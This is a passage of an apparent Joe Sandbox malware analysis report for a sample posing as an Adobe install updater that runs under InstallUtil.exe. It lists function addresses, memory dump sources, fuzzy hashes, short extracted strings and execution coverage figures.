Opcode Fuzzy Hash: 20387bfa8b4e354120baf75f5264d04358f49c1f4c57b9d5732131155b3a213f
Instruction Fuzzy Hash: 30E04F30905208DFC780DFA8C8406ACBBF4EB08200F2085AD8808D7341E6719E41CF80

Function 06377D10 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accbe7f6dc6a9b116388dd1ff1fb6c9d99dbed07ce5607a51752f945c914d2e3
Instruction ID: 7f9c1da5480b9c8f3a1d269a5a85ea45bf1ea8cdd400db032b5ca4e97ca31ba5
Opcode Fuzzy Hash: accbe7f6dc6a9b116388dd1ff1fb6c9d99dbed07ce5607a51752f945c914d2e3
Instruction Fuzzy Hash: C3E01274D09208EFCB54DBA8D8506BCFBB8EB88210F10C1AA981853341E6369A12DF84

Function 05EF3FB0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1399d40241806ac70eef817e9ec2661a9712e9e3ab367a42498d3555f1216082
Instruction ID: f04026a9b42c4bd13ff38cfe4ff96956f5b20e1e83c2012ad7eb0b9d140778d9
Opcode Fuzzy Hash: 1399d40241806ac70eef817e9ec2661a9712e9e3ab367a42498d3555f1216082
Instruction Fuzzy Hash: CFE01234D09208AFCB04DBA8D8406ACFBB4EB88204F10C5AAA85853341DA32AA02DF90

Function 05EF1248 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 817e6174e8c0c6e9acb0d8d31fdc4e1b43f946dc53636e3b4aadf2f62a9923f2
Instruction ID: 0f30ed535e4167830c237f5c0e6e3c8b21e9cdc53972ffdbfb45fbaa2b1624f7
Opcode Fuzzy Hash: 817e6174e8c0c6e9acb0d8d31fdc4e1b43f946dc53636e3b4aadf2f62a9923f2
Instruction Fuzzy Hash: 12E0463490D208EBCB08DF94D8449ACBBB9EB45310F10E1AE994467391DA329A52EB90

Function 0637CFA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 108a573000ea9d8648aae61b13e7bdd3edb6078fbf56d38b363f03c70f880b34
Instruction ID: dcd1c4a63eb2565db8ace1c514375101e5ed00b4a311e199a2c4196eb06ad455
Opcode Fuzzy Hash: 108a573000ea9d8648aae61b13e7bdd3edb6078fbf56d38b363f03c70f880b34
Instruction Fuzzy Hash: D8E08C34A09208DFC714DF94D8405ACBBF8EB45301F10D1AD980813341CA329E02DB80

Function 0093AEE8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa21665c7e4fa4fb3f457f26aade5d943b034dc772d8f5d318831173d9f8fc65
Instruction ID: 9897e05217ef984a4536056a1568e93b06473d513e60ddb2d829699f5ec94e7f
Opcode Fuzzy Hash: aa21665c7e4fa4fb3f457f26aade5d943b034dc772d8f5d318831173d9f8fc65
Instruction Fuzzy Hash: ADE0C230845208DFCB01EFB9CD14A9E7BB8EB49301F0089A6954993150EE754A40DFA2

Function 05EFEDF0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 322fafd8b99724dc9e1b3cbb8cf26ba8f080976b4a238c5ae3b3bdd5b8c90d5f
Instruction ID: 21e3fed4f895476e3cd9646fbb8761f36185aae1c01aac990daa6b97ecbe7754
Opcode Fuzzy Hash: 322fafd8b99724dc9e1b3cbb8cf26ba8f080976b4a238c5ae3b3bdd5b8c90d5f
Instruction Fuzzy Hash: 35E0EC74D59208DFCB80DFA8E8496ACBBF8AB48315F1051A99A4993250EA305A54DB91

Function 05EE05A0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558642e7ea2a8794e17d0223cfc0a5bce4caba0d2ffb3c208cf49c46ee7c4d6c
Instruction ID: 6b675da7f451d3739928ce876fccaa20fa233aaa95b3a63db6192a0b0dd0d455
Opcode Fuzzy Hash: 558642e7ea2a8794e17d0223cfc0a5bce4caba0d2ffb3c208cf49c46ee7c4d6c
Instruction Fuzzy Hash: D9E0EC70A41208ABCB44DFA9EA42A6DBBBAEB45214F5185A9E804EB244DA715F009B81

Function 05EFF0E8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3013c1870c66e4f7790258eb83daae144a0eec8aa7f6756a75db716c62c83e8d
Instruction ID: ca4dad4f3e26d54d6c88170683fdd718bb4cdb8e317729d9206275453f2b79cb
Opcode Fuzzy Hash: 3013c1870c66e4f7790258eb83daae144a0eec8aa7f6756a75db716c62c83e8d
Instruction Fuzzy Hash: 3BD0173081E208DBC704DBA4E8095ADBFB9AB8A306F1091A9994923251DB711A55DF95

Function 05EF5EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59baf653ffcc18751c944fde62a135935d6f07f2ffb7910aa8926ad0dfb23a2a
Instruction ID: d26a479e8f6156a5d294fe1b152bc1f561f6c98c51e2a53613dc404de5b60f1f
Opcode Fuzzy Hash: 59baf653ffcc18751c944fde62a135935d6f07f2ffb7910aa8926ad0dfb23a2a
Instruction Fuzzy Hash: 4FE0EC7491920CDFC750EFA8D8492ACBBF8AB05305F2091AA994992350EA705A50CB51

Function 05EE0558 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e2ca5fe9b0e66da4afcea7fb8172a1491badf2657f9b67d16b208f3b5dfb1ae
Instruction ID: d553d9eff8fc68d04cbeafed07e5df4333203eb18a2b10edc987d1142223f9c9
Opcode Fuzzy Hash: 3e2ca5fe9b0e66da4afcea7fb8172a1491badf2657f9b67d16b208f3b5dfb1ae
Instruction Fuzzy Hash: 08E01270A0020CEFCB04EFA8EA41A9DB7F9FB45314F5081A8E809E7305DA716F059B91

Function 0093E498 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1284d92d657af35fcb72615270a4a581c57a1345a5e27bcf2447ddef496b3a2a
Instruction ID: 88c9d4cc0c5c5e0eb28972f8292cbeb1137eba9dcf5038bd9ea620128e05344a
Opcode Fuzzy Hash: 1284d92d657af35fcb72615270a4a581c57a1345a5e27bcf2447ddef496b3a2a
Instruction Fuzzy Hash: 0ED0A73450D108DFC704CB94D844A79F7BCEB49329F20C49D9808433A1DA339D01DF91

Function 05EEB931 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94e33c18c9adddcc66123c3500d19cb70fab5d2f99947c8c81c43c5541844c1d
Instruction ID: 41dce5926c332e66d06c6d2049771846764bc3fbedb7ddb4020acb43210e6a0d
Opcode Fuzzy Hash: 94e33c18c9adddcc66123c3500d19cb70fab5d2f99947c8c81c43c5541844c1d
Instruction Fuzzy Hash: 28D02B2360C1904FC741C228B8023853FB19B8711075996A4D0C5C3557C1249407C690

Function 0637D388 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560cf9f026bb4f490079b6026a267d87edb0d2107e9a1b90b19561b0c25ccab8
Instruction ID: 37296cfccf6f81024d43934d8cdc86dfcfa78e7806eb2f551aa645cf396b7acd
Opcode Fuzzy Hash: 560cf9f026bb4f490079b6026a267d87edb0d2107e9a1b90b19561b0c25ccab8
Instruction Fuzzy Hash: D5C08C2005E2088AE26016456C0C374B79C9F0630AF40A801620E004218A744010CAA1

Function 05EEDDE0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aceab124a9c57df3164dc1318a4eebda7a61e63c81168b4de0d76176b781a389
Instruction ID: 0b99d63119c80324c8d96fa5d64e466e690b2c49c877b41997e4cb84f03db2f2
Opcode Fuzzy Hash: aceab124a9c57df3164dc1318a4eebda7a61e63c81168b4de0d76176b781a389
Instruction Fuzzy Hash: C8D022F64480804FC311CB68DE45C503B70AF1132932482EAE484CB732C2268C15CB20

Function 0093AD10 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78b9fd982ad81ec73236ee7d82a0448039e5bfaab39775b0d23a5ffa3efd6661
Instruction ID: 2de3b47f9a20cabc7766da0d87cdb228bdfc2f6d4264567f301d4c958174ac61
Opcode Fuzzy Hash: 78b9fd982ad81ec73236ee7d82a0448039e5bfaab39775b0d23a5ffa3efd6661
Instruction Fuzzy Hash: 08C08C3006D20C8BC3407FE6AC1E3B8BF68AB0431BF408011F29D818A38FF08450CEAA

Function 05EE1E10 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f38b3346f7ca3c3db90af57cb2396b7bebee793b17ed8dfe1020c7205c8704
Instruction ID: fb337260f8dbeee85f429ec94ece7caac7bbf3ab3903d6c3f725ce130ad8e13e
Opcode Fuzzy Hash: 01f38b3346f7ca3c3db90af57cb2396b7bebee793b17ed8dfe1020c7205c8704
Instruction Fuzzy Hash: 1CC092319DA21197EE018514AE8779567749710B68FB41120EAC1E89C3C68CE183C414

Function 05EF7BE6 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdba4d8b12a7d59b0311821dbf710d0bbebd30ced1cce68762367e4a623efd3d
Instruction ID: 5bc84aa104614bc0f6e44f9008f616a7e9a16873413634e8b7e03b6528651ef0
Opcode Fuzzy Hash: bdba4d8b12a7d59b0311821dbf710d0bbebd30ced1cce68762367e4a623efd3d
Instruction Fuzzy Hash: 7AC04C76E1011E9BCF14DBD9E4419DCF7B4EF94322F008036D214A7104D6315526CF50

Function 05EEDDF0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 05EEFD08 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction ID: 2ad57114494cc740969b95bee8f444b209d5990da35e5c480c7824bf6c3857fe
Opcode Fuzzy Hash: af8e06a732ca707132f27ef7a83e288a845aad2dfe2584e40d54ff240b01922d
Instruction Fuzzy Hash: B7C09276140208EFC700DF69E844C45BBB8FF1976071180A1FA088B332C732E820DA94

Function 05EEB910 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b466be9acdf3e850199fa862f7efd23bc33e88db34e85e2c112b56313d0d36a1
Instruction ID: 3018ee5dbc4f0e6c6a577bd9351f7a4a9dffe9bd005a7b483c3f80feeee45b92
Opcode Fuzzy Hash: b466be9acdf3e850199fa862f7efd23bc33e88db34e85e2c112b56313d0d36a1
Instruction Fuzzy Hash: E2B002255A816783DD2061F485CA39D176557A5564FF43264C0C4DDD4AC52CC053E011

Function 00930840 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc68b5cc0c0c0879d2f7bbc9b652236a70c7454783a37b33b1995da48677707
Instruction ID: 45af76b3fc5a2cc14f77ed24bb96d85d0dcfd86acd9d4b88eae0ea531399984e
Opcode Fuzzy Hash: 9fc68b5cc0c0c0879d2f7bbc9b652236a70c7454783a37b33b1995da48677707
Instruction Fuzzy Hash: 1CC04C3054E3D14FCB539B2099655893FF06D8714571945D7D0C0CF0E3E514590DC753

Non-executed Functions

Function 05EEB9AF Relevance: 8.8, Strings: 7, Instructions: 75COMMON

Download Yara Rule

Strings

ljO, xrefs: 05EEBA59
lZO, xrefs: 05EEBA69
l, xrefs: 05EEBA9A
l.O, xrefs: 05EEBA95
lzO, xrefs: 05EEBA49
lJO, xrefs: 05EEBA79
l^, xrefs: 05EEB9B3

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: l$l^$l.O$lJO$lZO$ljO$lzO
API String ID: 0-1669324621
Opcode ID: 8566c28343c8116902dd8f0158e4d30c7bf0b6db274bcb08c25acfadeb433f98
Instruction ID: fa3266ba9142b885901f0640cbfe1cc6633f8433da17e9c08d55d086471fe964
Opcode Fuzzy Hash: 8566c28343c8116902dd8f0158e4d30c7bf0b6db274bcb08c25acfadeb433f98
Instruction Fuzzy Hash: 1A11EF6AC582420B9940066F8C836917F9785B5B60FD80BB69DD4DFF34E40E8C374AC6

Function 05EEA4A0 Relevance: 7.7, Strings: 6, Instructions: 151COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEA524
4'jq, xrefs: 05EEA554
4'jq, xrefs: 05EEA5EA
pnq, xrefs: 05EEA5F7
(nq, xrefs: 05EEA66A
4'jq, xrefs: 05EEA572

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$4'jq$4'jq$4'jq$4'jq$pnq
API String ID: 0-2343140522
Opcode ID: 9a7b7dad8830dbf486834e3056de865b471111da0d85cb00dd4c405075151f19
Instruction ID: 4877074ec754af823b58d932c1bbc6420d37a7f7e2f9ff1c7c569e48e8e8fd25
Opcode Fuzzy Hash: 9a7b7dad8830dbf486834e3056de865b471111da0d85cb00dd4c405075151f19
Instruction Fuzzy Hash: CE519070A402058FCB48DF699951BAFBABBFFC8300F54892CD44997299DE78D906C7A1

Analysis Process: InstallUtil.exePID: 1632, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	97%
Signature Coverage:	0%
Total number of Nodes:	231
Total number of Limit Nodes:	8

Executed Functions

Function 06A5C617 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$jq, xrefs: 06A5C7E7
$jq, xrefs: 06A5CBC1
,nq, xrefs: 06A5CDAA
4, xrefs: 06A5CCC5
$jq, xrefs: 06A5CC1A
$jq, xrefs: 06A5C737

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID: ,nq$4$$jq$$jq$$jq$$jq
API String ID: 0-3947795074
Opcode ID: 74b45d438ca2a513c37fcd287a8bedf57b11bf60458dda6924a317929b8431f4
Instruction ID: 0614645b72522fb63a6291fcfe5ee0bce73bea62842aed2752fbcd27bb3f7beb
Opcode Fuzzy Hash: 74b45d438ca2a513c37fcd287a8bedf57b11bf60458dda6924a317929b8431f4
Instruction Fuzzy Hash: C9221B34A00218DFDB54EF64C994BADB7B2FF48710F1581A9D90AAB3A5DB709D81CF50

Function 06D1DAF0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Dqq, xrefs: 06D1DBF5

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID: Dqq
API String ID: 0-373195589
Opcode ID: 5c42170402f7805d83d033fbbace61933e42dea2ac86b2302d50c87ecfd36eac
Instruction ID: 856b8cdf8f89b44e02688d974a8aa27528ece799929499f232fbca33fb3d0668
Opcode Fuzzy Hash: 5c42170402f7805d83d033fbbace61933e42dea2ac86b2302d50c87ecfd36eac
Instruction Fuzzy Hash: FCD1C074E00219DFDB58DFA9D994A9DBBB2FF88300F1080A9D409AB365DB75AD81CF50

Function 06A5E6C8 Relevance: 2.7, Strings: 2, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p`jq, xrefs: 06A5E71E
p`jq, xrefs: 06A5E72A

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID: p`jq$p`jq
API String ID: 0-2252380912
Opcode ID: 6c74031a38d69013bdef3b047e52957d8ff0d23a5a786fdc580968ddf35ec8f9
Instruction ID: c356c1d36bfe22a367c89d33c1a175763ec9ead03f388f1a7ad012ccd4615a26
Opcode Fuzzy Hash: 6c74031a38d69013bdef3b047e52957d8ff0d23a5a786fdc580968ddf35ec8f9
Instruction Fuzzy Hash: 3551C030B002559FC754DF68C89496EBBF9FF89310B1581A9E916CB362CB30ED45CBA1

Function 06A52FB1 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

K, xrefs: 06A51523
%, xrefs: 06A52FC1

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID: %$K
API String ID: 0-3508610215
Opcode ID: 048acf4c4125c99c3ec810e007c7ddb299ef466315bb98c45cba85e211ad478a
Instruction ID: 638e71450644b271591b4074e0a6b800f69d88eeacf27ac0947c9a236f05b565
Opcode Fuzzy Hash: 048acf4c4125c99c3ec810e007c7ddb299ef466315bb98c45cba85e211ad478a
Instruction Fuzzy Hash: 4331D270901228DFDBA0DF24D998B99BBB1FF49345F1041EAD50EA7290DB305E84CF21

Function 06D051F5 Relevance: 2.5, Strings: 2, Instructions: 36COMMON

Download Yara Rule

Strings

z, xrefs: 06D05237
o, xrefs: 06D05208

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID: o$z
API String ID: 0-4260506763
Opcode ID: c7dd81d754682f3a1b9aa6156d4504841c11f2a65e00d60638a819419346f85d
Instruction ID: 6826bd9b15320b4491d655e1259605b864c674dcaf36505fdca4146e125f0706
Opcode Fuzzy Hash: c7dd81d754682f3a1b9aa6156d4504841c11f2a65e00d60638a819419346f85d
Instruction Fuzzy Hash: 1B112330900229CFEBA5DF14C884BEDB7B1EB09306F1091EAC569E7291DB744E958F02

Function 06A52E23 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

O, xrefs: 06A52E7B

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: fff3c037e84ceab577d0c64da1f716cdd836dd02629d19da7691f9c991c35f05
Instruction ID: c84b3d7edd5351a722d37264742a166f981b1f2e95c9bdbe0e57a3199503fcb6
Opcode Fuzzy Hash: fff3c037e84ceab577d0c64da1f716cdd836dd02629d19da7691f9c991c35f05
Instruction Fuzzy Hash: 18F05FB494162ACFDB64CF14D988BADBBB1BF88301F1080EA9619E3251DB301E80CF14

Function 06D1ED20 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 030553323f89f48170809d164b2dabdb7e41b012a21f8a2cbbe8d862926f9b36
Instruction ID: fdfbd882b0bfa61543876081d4442e817cd2acbf0ec836f1a2f75f54506e10c6
Opcode Fuzzy Hash: 030553323f89f48170809d164b2dabdb7e41b012a21f8a2cbbe8d862926f9b36
Instruction Fuzzy Hash: 58811235A40218DFCB54DF68D584A9EBBF6FF88350B1581A9E816DB360DB70ED42CB90

Function 06D1A6E8 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063793aec0febf6216f5e20242473fe40c2a5513899f213332e581af01ff0638
Instruction ID: 351fc8da51fab7d3021c7441de0e4af180d6ecec76f8f0aaa1760a6751bb5177
Opcode Fuzzy Hash: 063793aec0febf6216f5e20242473fe40c2a5513899f213332e581af01ff0638
Instruction Fuzzy Hash: BA711574E02209DFDB44DFA8E544AEDBBB2FB88311F24402AD51AAB354C7746E46CF91

Function 06A566F8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f376bd228877804739b899a5322e57d40e5082d1a579b9681d91ce372d98db
Instruction ID: 1917d63f901d58692d2d3e0a3e5e2f9f1920bf8d2949933144ca66cd2487d933
Opcode Fuzzy Hash: 81f376bd228877804739b899a5322e57d40e5082d1a579b9681d91ce372d98db
Instruction Fuzzy Hash: 8D313674E012089FDB04DFA9D954AEEBBB6FF88310F10846AE906AB365DB355841CF90

Function 06D1FE10 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2516058980.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d00000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13fbe017e98fccdbdf5b8473504c895e5ef14d7725e5c9518fc2f612ac878fb5
Instruction ID: 8a234dc005f6d6d7ff106dbc6d05349cea6b34348db2aa7b04fbd19dfefa46e0
Opcode Fuzzy Hash: 13fbe017e98fccdbdf5b8473504c895e5ef14d7725e5c9518fc2f612ac878fb5
Instruction Fuzzy Hash: 733102B4E052099BDB44CFA9E444AEEBBF6FB89300F10802AD519A7251D7B59A45CB90

Function 06A5AE81 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2515340226.0000000006A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6a50000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1db7084aa119717ac00c0d8d43b7cf982990108624ae748a8a21c8db8a93246
Instruction ID: 982dff361cda8d68a21251a88477c0616f4edfc61b04d2dae83acd8b3b3a0dff
Opcode Fuzzy Hash: f1db7084aa119717ac00c0d8d43b7cf982990108624ae748a8a21c8db8a93246
Instruction Fuzzy Hash: C221F839704294AFDB91DF789C14BAE3FF6AF49201F094156EE45DB281DA748905CBA0

Function 0130D048 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2438570873.000000000130D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0130D000, based on PE: false

Joe Sandbox IDA Plugin

